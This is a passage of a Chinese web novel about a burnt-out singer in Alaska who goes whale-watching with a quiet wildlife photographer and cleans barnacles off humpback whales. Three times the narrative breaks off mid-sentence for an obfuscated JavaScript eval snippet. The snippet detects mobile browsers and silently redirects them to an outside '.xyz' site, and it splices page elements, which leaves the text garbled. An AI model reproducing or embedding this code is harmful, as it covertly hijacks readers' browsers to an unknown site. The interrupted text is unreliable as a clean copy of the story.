顾灯写下,还在后面画了个笑脸表情。 女生兴奋得坐立不安,立刻拍照片想和朋友分享,发出去前又迟疑道:“对了,我看到你之前的微博了……那你现在在这里,是不是要替你保密?” 顾灯:“可以的话,谢谢你。” “当然可以,您别这么客气。”女生立刻按下息屏键,又说,“我回国后再发,保证不会透露您一丁点儿行踪!” “嗯,谢谢你。” 女生捂着手机坐了一会儿,没忍住又问:“您是真的要退隐了吗?” 顾灯没有回答。 女生还想再问,手机却响了起来,电话接通,她和顾灯道别,急匆匆跑了出去。 顾灯也起身和阿里道别,又把棒球帽还给章离,戴上冲锋衣帽子离开酒吧。 室外空气寒冷,街角,几个青少年把两个女生围在中间,其中一个女生刚找顾灯要过签名。 顾灯把冲锋衣拉链拉到顶,走到人群中央:“怎么回事?” 一个男生抬头瞪他,语气很冲:“滚开,没你的事。” 女生露出祈求的神情。 顾灯看着女生,语气不耐:“你还来不来了?大家都在等你。” 女生会意,立刻点头:“我们马上跟你过去!” 她朋友一脸懵逼,女生缓缓摇头,拉着她躲到了顾灯身后。 顾灯侧身让二人先走,确定那群青少年没跟过来,这才转身进了酒。 “太谢谢您了,”女生率先开口,“那些人逼着我们买大-麻,还好遇到了您。” 顾灯:“国外治安不比国内,你们出门注意安全。” 两个女生连连点头,又是一番道谢。 顾灯转身离开,走到门口时长发女生追来,往他掌心塞了张纸条,让他一定要看。 酒吧灯光昏暗,顾灯捏着纸条回到车上,打开—— [不知道你遇到了什么事情,但无论如何,小夜灯都会一直支持你的!就算不做音乐也没关系,保重身体,别给自己太大压力!] 小夜灯是他粉丝的自称,每次演唱会都有无数小夜灯连成星海。顾灯最喜欢关灯时,歌迷和他一起清唱的环节。 那种感觉像是置身黑暗的宇宙里,他独自站在台上,看着星光一点点亮起,每一颗星星背后,都是一颗热烈跳动的心。 顾灯喜欢演唱会,喜欢和歌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15463571|169754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迷面对面实现情感连接。对他来说,演唱会是一件很浪漫的事情,原本素不相识的几万人,却因为一次演唱会产生共鸣,在短暂的三小时内,体会同样的悲伤和快乐。 状态最好的时候,顾灯曾一年内举办了近100场演唱会。他的演唱会不仅场次多,而且质量也高,是公认的行业标杆。 同行让他别卷了,也有小夜灯担心顾灯被经纪公司压榨,提早透支自己。但后来他们发现,顾灯是真的在享受,他没有被逼迫,只是真心喜欢而已。最兴奋的一次,顾灯即兴演出长达2个小时,回应了粉丝的每一句安可。 这次演唱会大受好评,但也造成了一系列后续影响,地铁延期不说,也给安保带来了巨大压力,顾灯本人更是体力透支高烧不退。经纪人在他耳边念叨了好几天,明令禁止顾灯以后私自加时。 但那时候是真的开心,他喜欢音乐,喜欢创作,喜欢和小夜灯们面对面。只有这些时,他才觉得自己是鲜活的,正在活着。 可不知从什么时候,这种感觉逐渐变得遥远起来,歌迷依旧对他有所期待,可顾灯却几乎已经回想不起来当时的感觉。于是他开始逃避,甚至刻意不去想当初的场景。 他已经四年没有产出任何作品,以为大家早已经把他忘记,直到他又遇见了自己歌迷…… 短短一行字,顾灯反复看了好几遍。然后他收起纸条,去吧台顺了两个啤酒瓶踹兜里,又从车上拿出口罩戴上,尾随那群青少年进了小巷。 说是一群,其实也就只有四个人而已,一个个身材纤细,神情萎靡,毛都没长齐就开始胡作非为。 “早知道就不和她们废话这么久,那两个中国佬这么有钱,背的都是爱马仕,我看根本用不着卖东西,直接抢包就行。” “你说得有道理,不然我们回去试试?” 咕咚咕咚…… 玻璃酒瓶滚进小巷,身后跟着一个穿冲锋衣的男人。 “干什么?”其中一个男生站起来,气势汹汹朝男人走去。 顾灯掏出啤酒瓶—— 两分钟后,四个少年逃出小巷,嘴里一阵骂骂咧咧。 顾灯把啤酒瓶扔进垃圾桶,又觉得非常没劲。 没意思透了,顾灯站在异国他乡的陌生街道,突然被一股巨大的怆然击中了。 他抛下一切来到阿拉斯加,看了鲸鱼,去了北极,也曾目睹极光在夜空闪烁——他获得了绝对的自由。 可为什么,他依旧不快乐? 顾灯回到停车位,车旁多了个熟悉的身影。章离穿着黑色冲锋衣,安静地站在那里。 顾灯绕过章离上车,后者伸手抵住车门:“你喝酒了,不能开车。” “你都看见了?”顾灯答非所问。 “看见了。”章离说。 “看见了还不走,不怕我也揍你?” “你先下车。” 顾灯懒得和他争论,妥协道:“我叫代驾,行了吧?” 他刚掏个手机的功夫,章离已经坐进了驾驶席。 顾灯:“喂!” “你去哪儿?”章离一边系安全带,一边回头看他,“我送你过去。” 顾灯翻了个白眼,不情愿地坐进副驾驶,又恢复了那种恹恹的神情。他单手靠着车窗,把脸转到窗外说:“不知道,你随便开就行。” 章离:“说个地名。” “我说了你随便开就行。”顾灯语气冷硬,已经快要失去耐心。 可章离又问:“那你现在想做什么?” “你是听不懂人话吗?”顾灯坐起身体,提高了声音,“我让你随便开,不开就给我滚下去!” 章离没再说话,可他也没有开车。 顾灯伸手开门,门纹丝不动,章离竟然落了锁。 顾灯把自己扔回座椅,用冲锋衣帽子盖住眼睛说:“滚。” 邻座一动不动,顾灯耐心全失,他一把抓住男人衣领,几乎是凶狠地问:“章离,你究竟想干什么?” 戏弄他,曝光他,看他笑话? 顾灯做好了最坏准备,可当他低下头,却看见了一双清澈的眼睛。 顾灯见过太多各式各样的眼睛,可从来没有一双像章离这样单纯。这种单纯不是小孩儿未经世事的懵懂,章离的单纯是野性的直白,就像是荒野上的动物——坦荡,直白又纯粹。 只一眼顾灯就明白过来,自己刚才那些揣摩根本毫无依据。这个人就是想知道他要去哪里,而他要开车送他过去,仅此而已。 别人好心帮忙,顾灯本该就此作罢,老老实实报出一个酒店地址。可他心中却升起了一股恶劣的报复心理,谁让他要当圣母,谁让他多管闲事? 顾灯:“我去哪儿你都会送我过去?” 章离:“是。” “那我要去看鲸鱼,”顾灯说,“那种游在大海里,没被寄生的,自由自在的鲸鱼。” 4. 出海观鲸 顾灯提了个荒唐的需求,等着章离知难而退,可过了很久章离都没有开口。 顾灯又心软下来,正要说算了,章离突然说:“好。” “好什么?”顾灯有些没反应过来。或者说他其实理解了,但因为太离奇,不敢相信这是真的。 章离又说:“看鲸鱼。” “不信,除非你带我去看。” “好。” 但直到现在,顾灯都不相信章离的说辞,他只是怀着一种“我倒要看看你究竟要做什么”的心态,想要戳穿章离的把戏。 夜晚的城市很安静,他们一直往南开向东南部沿海。夜间光线微弱,路上还有未化的积雪,但章离开车很稳,顾灯睡不着,只侧过脸看远处的路灯。 顾灯不想说话,章离也很沉默,两个刚认识的人,冲动地在阿拉斯加开夜车,给人的感觉挺奇怪。 但顾灯已经摆烂,章离又沉默得仿佛能包容一切怪东西,竟然谁都没觉得这件事有多荒唐,或者说神奇。 轿车一路向南,快天亮时顾灯终于睡了一会儿。再次睁眼已是晨光熹微,道路蜿蜒,峡湾被晨雾笼罩,翠绿的山峦下是碧绿的大海。 阿拉斯加半岛地处高纬地区,但得益于阿拉斯加暖流经过,南部地区有少量温带海洋性气候,常年温暖湿润,呈现出了和北部截然不同的风景。 轿车经过蜿蜒幽静的河湾,缓缓驶入小镇,最后停在了一个小型港口旁。港口停泊着各种型号的小型船只,岸边森林碧绿,远处是莹白的雪山,一栋红色房子笼罩在晨雾中,宁静悠远,像是童话世界里的场景。 顾灯打开车窗,深深吸了一口气。 章离下车走向红房子,和里面的一个老人交谈起来。顾灯看了眼导航上的定位,小镇名字很陌生,几乎从未出现在旅行攻略里。 没过多久,章离拿了把钥匙回来,说:“走吧。” 直到现在顾灯才终于意识到,章离不是死鸭子嘴硬,他是来真的——他真的要带自己去看鲸鱼。 顾灯无端感觉一阵慌乱,他看了眼他手里的钥匙,故作镇定:“你还兼职做导游?” 章离:“你是第一单。” 顾灯:“你知道鲸鱼在哪里?” 章离:“不确定,但可以去看看。” 顾灯沉默了下来。 小镇里安静极了,这种沉默便造就了更大的静谧,就仿佛周围的群山和大海向他涌来,让顾灯有一种被自然淹没的错觉。 再次回神,是听见了海鸥的叫声。 顾灯掏出手机说:“怎么收费?我先转给你。” 章离:“不用。” “不行,你得收。”顾灯态度坚决,“谁知道你是带我去看鲸鱼,还是要卖器官?” “不会卖你器官,”章离说,“你整人卖更贵。” 顾灯:“……” 他懒得和章离掰扯,干脆直接坐在了路边的长椅。阳光明媚,峡湾宁静悠远,顾灯闭上眼,有橙色的光影在眼皮上跳动。 但章离并未放过他,而是继续刚才的话题,又说:“报酬我已经拿到了。” 顾灯睁开眼睛。 章离拿出手机,里面传出一段陌生的旋律,是顾灯在道尔顿公路上写的曲子。 顾灯经常在轻躁狂时写东西,那时的他灵感爆棚,信心大增,会不吃不喝泡在录音棚一整天,觉得自己创作出了前所未有的优秀作品。可等他第二天起床一看,又会愤怒地撕碎手稿,把这些作品当做垃圾。 起初经纪人还会从垃圾桶里捡手稿,可顾灯死活不愿意让这部分稿子见光,甚至和经纪人吵了好几次。次数多了,经纪人也就随他去了。 可顾灯万万没想到,他这次竟然把一个半成品送了出去。 “你别放!”仿佛看见洪水猛兽一般,顾灯立刻捂着耳朵说,“别让我听见这个东西!” 章离有些意外,但还是关闭了音频。 空中弥漫着尴尬的气息,过了好一会儿,顾灯才松开双手,说:“抱歉,我不能听这个。” “好,”章离说,“我不放了。” 顾灯点点头,又沉默了下来。 海鸥声大了起来,然后是风声,海浪声。空中传来嘤鸣,一只白头海雕从树枝滑向海面捕猎。 “算了,回去吧。”顾灯站起身说,“我之前就是随口一说,也不是很想去看鲸鱼。抱歉耽误你的时间了,地陪费用我给你。” 顾灯抽出现金递过来,章离挡了下,说:“可以再考虑一下吗?” 他的眼神深邃又认真,被他注视时,会让人产生一种无所遁形感觉。 顾灯一把甩开章离手臂,冷着脸说:“我不去。” 章离又说:“这里可以看见你想看的鲸鱼。” 顾灯脑海中又浮现出了那幕熟悉的场景,他看过太多遍,甚至已经可以完美的复刻每一帧画面——粉紫色的天空,浓稠的海水,黄金一样的水花,自在游弋的鲸鱼。 曾经的他光是想象这些画面,就会感到开心。可现在……连他最喜欢的风景也无法激起他的情绪。 “章离,你放过我好不好?”顾灯半蹲下身,几乎快要哀求起来,“我真的不想去。” 他不敢去,他害怕自己看完鲸鱼还不满意,害怕自己见到了梦寐以求的风景,却依旧无法变得开心。 顾灯的样子太可怜了,像是被什么无形的东西抓住,缠上,无法脱身。 章离终于放弃,后退一步说:“好,那不去了。” 似乎没想到妥协来得这么容易,顾灯震惊地抬起头,眼眶微红。 “抱歉,”章离组织着语言,“我没有强迫你的意思,带你过来只是希望你能开心。” 顾灯吸了吸鼻子,有些内疚:“对不起。” 章离摇头,说:“先在这里休息一下吧,其他的问题以后再说。” 顾灯点点头,同意了这个提议。 他现在的状况不适合开车,章离通宵赶路,他自然也不好意思让人家立刻把车开回去。 那栋红色房子是码头管理员的住址,也当做民宿出租。 顾灯和章离各自住了一间,顾灯的房间在二楼,窗户正对大海,能听见海鸥的叫声。 顾灯和衣躺上床,他原本只想休息,可小镇太安静了,阳光从窗户斜斜洒进来,有一种小时候在老家午睡的感觉。顾灯看着这一片光晕,渐渐合上了眼睛。 再次醒来已是下午,顾灯下楼时,房东大叔告诉他午餐在厨房,章离出海了,但可以通过卫星电话联系。 顾灯自行解决了午饭,结果又困了起来。但这次他不想再回房间,而是坐在码头长椅上晒太阳。 突然间,一只白头海雕飞到帆船桅杆顶部,发出一阵嘤嘤的叫声。顾灯有点儿想笑,这鸟长得威风凛凛,叫声却这么娇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15463572|169754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气。 顾灯上楼拿录音设备,下来时却发现白头海雕已经飞走。算了,本来就是一时兴起,录不到也没关系。顾灯转身离开,结果又听见了一阵嘤嘤声。 他用望远镜找了半天,才发现这只鸟飞到了旁边的一个小岛上。距离不算远,海面也很平静,顾灯询问码头大叔有没有办法过去。 “有啊,”大叔往旁边一指,“浆板、橡皮艇、皮划艇都能过去。” 顾灯租了个皮划艇,穿上救生衣,带上gps定位器,朝着小岛划去。 为了缓解病情,他之前尝试过许多运动类型,因为医生说运动可以改善心情。顾灯确实承认,运动分泌的内啡肽和多巴胺,曾经让他变得健康有力,但最终,这也只是延缓病情而已。 顾灯划到白头海雕旁边录音,紧接着,他又被别的声音吸引了。岛上物种丰富,有许多他不认识的动物。等他录音告一段落,才发现陆地已经被他远远抛在身后。 而他面前是蜿蜒的峡湾,海水平静,在阳光下呈现出浓稠的质地。顾灯回头看了眼陆地的方向,决定继续往前滑去。 小岛星罗棋布地分散在海面,乍一看和千岛湖没什么区别。顾灯朝着远方的海面划去,接连把一众小岛抛到身后,当他手臂开始酸软时,终于来到了一片辽阔的海域。 天空蔚蓝,海水碧绿,远处有一片洁白的冰川没入大海,浮冰四散。 顾灯继续朝着冰川划去,外海风浪大了一些,但靠近浮冰海域又平静了下来。太阳把浮冰照得晶莹剔透,顾灯陆续穿过散落的浮冰,冰川离得更近了。两片纯白的冰墙以V字形延伸至陆地,庞大、纯净又剔透,顾灯尝试打开手机,却发现手机完全拍不出这种震撼的感觉。 继续往里滑行,他看见一艘红色橡皮艇停泊在冰川下,空无一人。 被遗弃的船?还是主人出事了?顾灯正要过去查看,海底突然传来一声鲸鸣。 顾灯突然停了下来,有些害怕,又有些期待地愣在那里。他在原地呆了一分多钟,继续朝无人小船前进。 鲸鸣声变得更大了,海底出现模糊的深灰色阴影,带着海面也轻微晃动起来。顾灯赶紧划到小船旁边,海面突然咕嘟咕嘟冒泡,章离穿着潜水服钻出海面,旁边是一头仰躺着的鲸鱼。 顾灯之前看见的鲸鱼都是在游来游去,要么就是鲸跃,它们一直保持着运动,不会让人类太过靠近。可这头鲸鱼却不一样,它安静地翻着肚皮,像人仰漂一样,完全露出了下巴和腹部。 这情景着实有些诡异,顾灯愣了好一会儿才开口:“你们在干什么?” 这个们字用得有些不妥,但章离却没有纠正顾灯,而是把手背到身后,说:“没什么。” 这态度,看起来更奇怪了。 顾灯又看了眼海里的鲸鱼,是这片海域常见座头鲸,因为体型庞大游速相对缓慢,所以容易被藤壶寄生。幸运的座头鲸只被寄生下巴,倒霉的那些就惨了,浑身上下都被入侵,连鱼鳍都没法儿逃过。 可这只座头鲸却干干净净的,下巴又白又软,只有零星一两个黑点。 章离看了眼这个黑点,眼疾手快一把薅下,又迅速把手背到身后,仿佛什么都没有做过的样子。 顾灯看了看鲸鱼,又看了眼章离,难以置信:“你在给鲸鱼抠藤壶?” 章离自有一套逻辑:“抠掉就没有了。” 顾灯:“……” 5. 动物一样 顾灯一时哑口无言,又觉得章离这套逻辑实在是无懈可击。 “你要试试吗?”章离又问。 顾灯还是觉得有些恶心,但又确实有点儿被吸引了,迟疑道:“这只鲸鱼已经被你弄干净了吧。” “还有只小的。”章离说完潜进水底,又领了只小座头鲸上来。 说是幼崽,但也有橡皮艇那么长,而且性格比成年鲸鱼活泼,一上来就到处喷水,把顾灯衣服都弄湿了。但怎么说呢,没人会讨厌这种调皮。 顾灯抹了把脸,弯腰给鲸鱼抠藤壶。这玩意儿确实恶心,但抠起来还挺爽的,非常解压。 抠完脑袋还有下巴,可小鲸鱼依旧脑袋朝上,顾灯不知道该怎么办,只得抬头喊:“章离。” 后者会意,伸手拍了下鲸鱼脑袋,鲸鱼就乖巧地翻身,朝顾灯露出了肚皮。 顾灯不可思议地抬起头:“它怎么这么听你的话?你认识它们?” “算认识,”章离说,“4年前我在这里划船落水,这只座头鲸用鱼鳍把我送回了船上。自那以后,我每年都能在这里碰到它。” 顾灯睁大眼睛,难以想象鲸鱼竟然有这么深厚的记忆。同时也忍不住羡慕起来,人和鲸鱼竟然可以建立起这样神奇的联系。 听完这个故事,顾灯抠藤壶的动作都认真了起来。抠了一会儿他嫌手软,又招呼章离一起,两人合力,终于清理完了整只鲸鱼。 当顾灯抠下最后一只藤壶时,鲸鱼仿佛也知道似的,尾巴一甩就游开了。顾灯还来不及失落,小鲸鱼又游了回来,一边围着船转圈圈,一边发出嘤嘤嘤的声音。 近距离听鲸鸣更是震撼,顾灯迅速录了段声音,可没想到他收起录音设备,小鲸鱼还在叫。 顾灯有些不放心,抬头问章离:“它怎么一直响啊?” 章离表情很放松,但并没有回答他的问题。 顾灯还没想出原因,座头鲸又不停地把脑袋拱出水面,像猫脑袋一样拱来拱去。 顾灯又问:“它怎么一直拱水?” 章离还是不回答。 顾灯都要生气了,结果又看到小鲸鱼在水里挥动鱼鳍,很着急的样子。 顾灯是真急了,一把抓住章离胳膊:“你快看看,它怎么一直动来动去?该不会我抠藤壶时弄伤它了吧?” 章离这下是真笑了。 顾灯有些意外,这人平时看着凶巴巴的,但笑容却意外地爽朗,有很强的感染力。 “章离!”可惜顾灯无暇欣赏美色,语气反而更凶了。 “还看不出来吗?”章离笑着说,“它是在邀请你。” 顾灯:“啊?” 什么意思?鲸鱼折腾了这么半天,结果是求人撸?顾灯试探着伸出右手,快要碰到鲸鱼时又抬头问章离:“真的可以摸吗?” 章离:“你再晚一秒摸它,它就要自闭了。” 顾灯一咬牙,把手放了下去。 这种感觉很神奇,鲸鱼皮摸起来湿湿滑滑的,但又有些粗糙,比想象中硬。顾灯一下就迷上了这种感觉,撸完脑袋又撸下巴,一只手撸不过瘾,干脆双手左右开弓。鲸鱼叫声更大了,鼻子吭哧吭哧地喷着水,很兴奋的样子。 直到鲸鱼离开,顾灯才依依不舍地直起身体,他低头看了眼双手,又翻手把掌心展示给章离,掩饰不住语气的兴奋:“我摸到鲸鱼了,好神奇!” 章离正要开口,却突然脸色一变。下一刻,海面突然一阵翻滚。 顾灯还没反应过来是怎么回事,章离迅速游到他身边,双手扶住橡皮艇,同时交代:“坐稳。” 根本没有顾灯反应的机会,章离话音刚落,海面就冒起了烧开水那样的大泡泡。顾灯只感觉身下传来一股巨大的推力,随即一阵天旋地转——噗通!他整个人都被掀翻在了海里。 最初的喧嚣过去,入水后其实是非常安静的。再加上顾灯本来就会游泳,屏住呼吸后,就坠入了一片深蓝的寂静里。 但和一般的海底不同,因为这里有冰。浮冰像小岛一样飘在海面,不知哪里传来冰裂声,然后座头鲸发出鲸鸣。真的太漂亮了,顾灯一下就爱上了这里。 就是太冷了,他的衣服也不方便行动。顾灯正要上浮,章离从远处游来,托着他身体往上。 二人哗啦一声钻出水面,顾灯对上章离焦急的表情。 “没事吧?” “没事儿,我会游泳。” 章离表情稍缓,托着顾灯上了橡皮艇。 顾灯脱掉湿漉漉的外套,问章离:“怎么回事?” 章离面露尴尬,过了好一会儿才说:“它想和我们玩,结果没轻没重的。” 顾灯愣了下,简直哭笑不得,什么鱼啊这是? 不过他也没生气,又伸手摸了摸小座头鲸的脑袋。小鲸鱼又开始喷水,看这架势还想再来一遍,被章离冷漠地赶走了。母子返回族群,在海面喷出两条水柱,画出两道淡淡的彩虹。 船上,顾灯正低头脱衣服,硬壳,羽绒,抓绒……最后只剩下一套紧身压缩衣。 章离从橡皮艇里拿过一个防水袋,让他把衣服换上。 运动产品速干,再加上今天大太阳,其实没有很冷,顾灯拒绝了章离的好意。可惜不管他如何推辞,章离都不松口。 穿不穿衣服都是小事,顾灯没太放在心里,只是说:“我也不是故意要和你客气,我就是怕你感冒了。” “没事,”章离说,“我的潜水服是半干衣,保暖性很好。” 顾灯便没再客气,低头打开了防水袋。 章离的装备很齐全,从外套、加绒到打底,甚至连袜子和内裤都有。顾灯犹豫了一会儿,最终还是没有穿章离的内裤。 早在他打开防水袋时章离就转过了身,顾灯穿上章离的衣服,直接大了两个号。他其实不矮,也就比章离低了半个头。但章离骨架比他大,肌肉也多,背对他坐着时肩宽腰细,哪怕厚重的湿衣也挡不住鼓囊的肌肉。 顾灯有些羡慕,他当年也有腹肌出圈神图,可惜生病后体能越来越差,现在只剩下薄薄一层肌肉了。 但现在想这些也没用,不过是自怨自艾。顾灯把湿衣服塞进袋子里,说:“我换好了。” 章离转过身来,连胸肌也很大,顾灯更羡慕了。 或许是他眼神太直白,章离表情变得有些奇怪。 顾灯轻咳一声,说:“你身材真好,怎么练的?” 他本来只是转移话题,没想到章离真说了一连串训练计划。训练量之多,进食量之大,远超常人。 见顾灯表情震惊,章离又解释,倒不是他痴迷健身,只是最近恰好临近他出发前,体能和体重都达到了最高峰。 每次外出拍摄前,章离都会尽可能增肌、增重,进行耐力训练。 他的拍摄多在无人区,少则半个月,多则几个月,虽然有少量补给点,但露营设备和摄影器材都要他自己背进去。动辄二三十公斤的行李,没点儿体力压根儿承受不了。 大体重背负的重量也更多,章离身高189cm,状态最好的时候,他体重能增到85kg。这个体重听起来很吓人,但身上其实一点儿赘肉没有,都是硬邦邦的肌肉。进山时他会尽可能增重,出来时往往会瘦10kg不止。 “就像动物一样。”顾灯说。 章离没有说话,但看表情,他似乎并不排斥这个形容。 今天经历的事情太多了,回去的路上,顾灯感觉有点儿兴奋。 他之前一直觉得自己和世界隔了一层,就像是在玻璃罩里看世界,不管看什么都是雾蒙蒙的,就算亲身经历了也没有什么真实感。可当他摸到鲸鱼时,突然觉得世界变得清晰起来。顾灯莫名想说点儿什么,他已经很久没有这么强烈的表达欲了。 他看了眼章离,有些犹豫要不要开口。对着刚认识的人说人生感悟,怪冒昧的。 “怎么了?”章离问。 顾灯还在犹豫,按理说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15463573|169754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,顾灯这样的公众人物,是不可能对刚认识几天的人吐露心声的,可章离就是有这种能力。 或许是常年在野外活动,章离身上有一种罕见的真实感。这种真实感不是说他性格鲜明,情绪外露,就像一些人喜欢用力大笑、擅长做出夸张表情,或者第一次见面就拉着你的手喊你亲爱的。 相反,章离看起来挺平淡的,可这种平淡平等地包容着所有人,让人觉得他很真。想到这里,顾灯终于找到了一个准确的形容词——真诚。 真奇怪,他竟然在这个寡言少语、略显沉默的陌生男人身上找回了倾诉欲。或许正因为是陌生人,所以才更愿意吐露心声。 顾灯告诉章离:“我是一个很追求价值的人,觉得做一件事必须要有意义。如果我找不到这件事的意义,我就没法儿说服自己继续做下去。” 他写歌,是因为创作赋予了他价值。他来阿拉斯加看鲸鱼,是想从中获得某种治愈。所以他看见长满藤壶的座头鲸后崩溃了,觉得自己受到了欺骗,觉得这一切都没有意义。 “可是……”顾灯抬头看向夕阳,莫名有些鼻头发酸,“可奇怪的是,我现在竟然会因为一些无意义的事情感到开心。” 他缩在章离宽大的冲锋衣里,皮肤白得几乎透明。他明明在笑,却露出了自己都不曾察觉到的脆弱气息。 章离说:“我们来玩个游戏怎么样?我问你答。” 顾灯:“但我不一定会回答哦。” “可以。” 顾灯现在比较好说话,便同意了这个有些突兀的提议。 他们一起划到冰川那边去,顾灯停在硕大的冰川下,听见章离问他:“你觉得冰川是什么?” 怎么还要考他地理题?别人问这个问题,顾灯压根儿不会回答,说不定还会在心里把这个人骂一顿。可问这个问题的是章离…… 顾灯不觉得章离是这种无聊的人,他试着调动大脑储备的知识,说:“冰川应该是不会融化的冰体,主要出现在高纬度和高海拔地区。占地面积很大,但因为全球变暖,消融趋势加剧。” 章离又说:“你凑近看看。” 顾灯靠近冰川。 章离:“你看见了什么?” “冰?”顾灯说完觉得这个回答太简单了,又补充道,“白的,不过有些地方是蓝色。” 章离:“摸摸看,有什么感觉?” “冰……?冷的。”顾灯有些没底气,这问题也太简单了。 章离:“你能听见什么?” 顾灯听了一会儿,说:“好像有碎裂的声音。” 章离:“它们是静止的吗?” “是吧,”顾灯犹豫了一会儿,又说,“好像在很慢的移动。” “好,我的问题结束了。”章离说,“接下来换你。” 这就结束了?顾灯被章离搞得一头雾水,最初他还以为章离要问他隐私,譬如问他为什么要退隐,或者为什么要独自来阿拉斯加,为什么害怕听自己写的歌,再不济也得问他为什么不敢看鲸鱼。 没想到竟然说了半天的冰川? “这些问题有什么意义吗?”顾灯又开始寻找那该死的意义。 “没什么,只是想让你近距离看看冰川。” “……?” 顾灯更迷惑了,他又不是没看过。可看章离的表情,也不像是戏弄他的样子。顾灯想不出答案,也不想继续纠结这些事情,否则会显得他很没魄力。 “好,那换我问了啊,”顾灯抬头看向章离,“你为什么要带我来看鲸鱼?” 话音落下,空气中出现了短暂的沉默。过了一会儿,章离才回答:“因为你送了我那首曲子。” 又是这个原因,顾灯此时已经没那么抗拒谈论这首曲子,只是觉得不好意思:“不过是一首半成品……” “但我很喜欢,”章离看着顾灯,露出他特有的直白而真诚的表情,“我觉得这首曲子很好听,哪怕它只是半成品。” 6. 生死边缘 顾灯更不好意思了,他给许多人写过歌,外婆、姨妈姨父哥哥、工作室团队、甚至连经纪人的猫都收到过。 那时的他才思敏捷,各种灵感信手拈来,肆意地浪费着天赋。而当他真正想写一首歌送给别人时,却什么都写不出来了。 顾灯捂住脸,突然感觉有点儿崩溃。 可这种崩溃很短,顾灯就抬起头说:“朋友一场,总不能让你吃亏,我再给你点儿别的报酬吧。” “不用,”章离说,“这样就够了。” 接下来无论顾灯说什么,章离都不改口。回到民宿,顾灯心想,不然就把曲子写完再送给他吧。他觉得自己状态还可以,说不定可以写出点儿什么。 顾灯挑灯夜战,一无所获。 中午时他和章离在餐厅碰面,原计划是下午返程,可顾灯却突然说不走了。 章离从满满当当的鱼和肉中抬起头:“你还有事?” 顾灯:“想在这里多待几天。” 章离:“要我留下来吗?” “不用,我自己就行,”顾灯说,“而且我记得你要去拍驯鹿吧?” 章离点头,没再说话,把餐盘里的肉全吃了。顾灯心不在焉地用刀切香煎三文鱼,分量估计只有章离盘里的十分之一,他都拖拖拉拉费了好半天才吃进去。 镇上没有租车点,午饭结束,顾灯让章离把车开回去。又说等他玩够了,他会自己想办法离开。 “我已经找到车去西沃德,”章离说,“这边你不熟悉,车你留着用。” 顾灯说:“哦。” 虽然他已经用不上车了。 随后顾灯陪章离在外面等车,今天风很大,把他头发吹得乱七八糟。顾灯眯起眼睛,抬头看向章离。却没想到章离也在看他,四目相对,顾灯有些恍神。 章离倒是一脸坦然,问:“你接下来还有安排吗?” 顾灯:“没了。” “那你……”章离罕见地迟疑起来,过了一会儿才说,“你想去看驯鹿迁徙吗?” 顾灯愣了下,又摇头:“我这个体力可不行。” “我重新制定了一条低难度的路线,你只要跟随几个关键地点就行。”章离说完从口袋里掏出一张纸,上面用手绘了驯鹿迁徙地图,在每个节点,都详细地标注了停留信息。 原本500公里的徒步路线,现在改为小飞机和徒步结合,只在几个关键的地方停留,难度大大降低。 纸和蜡笔都是民宿的,这份计划应该是昨晚熬夜赶制。可章离为什么要邀请他?甚至不惜更改自己的路径? 顾灯有些感动,可他确实没法儿再去了,只得把路线图还给章离,说:“谢谢你邀请我,但还是算了吧。” 章离没再说话,顾灯也保持沉默,只有海浪声此起彼伏。不知过了多久,路边传来发动机的声音,顾灯迅速抬起头,才发现车只是经过。 他微微吐出一口气,问:“章离,你想和我睡觉吗?” 这话太突兀,也太过自然,章离甚至都没反应过来。 顾灯又说:“啊,我的意思就是上.床,做.爱。” 章离依旧没吭声,但脸色却变得有些难看。 顾灯明白了:“原来你不想。” 顾灯有些苦恼,他已经写不出歌,除了这副还算不错的皮囊,是真没什么能给出去的了。 可章离不要。 空气变得更安静了,仿佛连海浪声都一同消失。就在这时,又有一辆车过来,顾灯还想说点儿什么,章离已经起身朝路边走去,没有一丁点儿犹豫。 章离大概是生气了,这让顾灯最后想说点儿什么的想法也破灭了。 也是,他刚才多冒犯啊,差不多都是性骚扰了。顾灯沮丧极了,他低下头,小声说了句对不起。 可奇怪的是章离并没有就此离开,他向开车的人借了支笔,正往纸上写东西。然后他又回来了,把那张手绘地图放在椅子上。 顾灯抬头看他,紧抿嘴唇。 章离注视着顾灯紧绷的脸,说:“我3天后从安克拉治出发,如果你改变主意,打上面的电话找我。” 顾灯愣愣地看着那张纸,风把纸吹得飘起来,他连忙伸手按住。等他重新抬起头,章离已经搭车离开了。 顾灯在海边的椅子上坐了一下午,随后续订民宿,又开始写首歌。硬写的感觉很痛苦,可顾灯还试图写点儿什么。 他之前在网上看过一个帖子,有人说他明明过得很幸福,不缺钱也不缺时间,全世界到处玩儿,可不知道为什么依旧会觉得空虚。 